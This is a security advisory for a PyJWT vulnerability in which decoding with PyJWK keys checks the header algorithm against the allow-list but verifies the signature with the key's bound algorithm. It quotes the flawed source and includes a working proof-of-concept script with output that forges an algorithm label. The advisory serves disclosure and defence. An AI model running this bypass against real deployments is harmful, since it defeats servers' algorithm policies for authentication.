PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keysCVE-2026-48523

> [!NOTE] > Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug. PyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow. ### Summary PyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass. In affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object. This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration. ### Details In `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs: ```python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithm_name] ... if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed") if isinstance(key, PyJWK): alg_obj = key.Algorithm prepared_key = key.key else: alg_obj = self.get_algorithm_by_name(alg) prepared_key = alg_obj.prepare_key(key) ``` This logic means: 1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list. 2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created. `PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults: ```python if not algorithm and isinstance(self._jwk_data, dict): algorithm = self._jwk_data.get("alg", None) ... self.algorithm_name = algorithm self.Algorithm = get_default_algorithms()[algorithm] self.key = self.Algorithm.from_jwk(self._jwk_data) ``` So once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm. The issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents: ```python signing_key = jwks_client.get_signing_key_from_jwt(token) jwt.decode( token, signing_key, audience="https://expenses-api", options={"verify_exp": False}, algorithms=["RS256"], ) ``` `PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected. This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as: - self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path. The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior. This behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`. ### PoC Tested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`. Install dependencies: ```bash python -m pip install pyjwt==2.12.1 cryptography ``` Run the following script: ```python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.api_jwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64url_encode # Generate an RSA keypair controlled by the attacker. priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub = priv.public_key() pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) # Build a PyJWK from the public key. # With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default. jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub)) # Create a token whose protected header claims RS512. header = {"typ": "JWT", "alg": "RS512"} payload = {"sub": "alice"} header_b64 = base64url_encode( json.dumps(header, separators=(",", ":"), sort_keys=True).encode() ) payload_b64 = base64url_encode( json.dumps(payload, separators=(",", ":")).encode() ) signing_input = b".".join([header_b64, payload_b64]) # Sign the RS512-labelled token with RS256 instead. sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv) token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode() print("token:", token) print("PyJWK path:") print(jwt.decode(token, jwk, algorithms=["RS512"])) print("PEM path:") try: print(jwt.decode(token, pub_pem, algorithms=["RS512"])) except Exception as e: print(f"{type(e).__name__}: {e}") ``` Observed output: ```text PyJWK path: {'sub': 'alice'} PEM path: InvalidSignatureError: Signature verification failed ``` The token is accepted when the verification key is a `PyJWK`, even though: - the caller restricted allowed algorithms to `["RS512"]` - the signature was actually generated with `RS256` The same token is rejected when verified through the normal PEM/public-key path. ### Impact This is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`. The impact depends on the deployment model: - If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited. - If attackers can legitimately control a registered key, this is exploitable. Impacted deployments include: - JWT client assertion flows where each client uses its own key - multitenant systems where tenants register JWK/JWKS material - federation-style trust models - any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys What an attacker can do: - bypass a server-side requirement such as "only `PS256`" or "only `RS512`" - continue using a deprecated or blocked algorithm after the server thought it had disabled it - authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy What this issue does not do by itself: - it does not let an attacker forge tokens without access to a valid signing key or signing oracle - it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

Quoted source text, attributed separately from HOL analysis.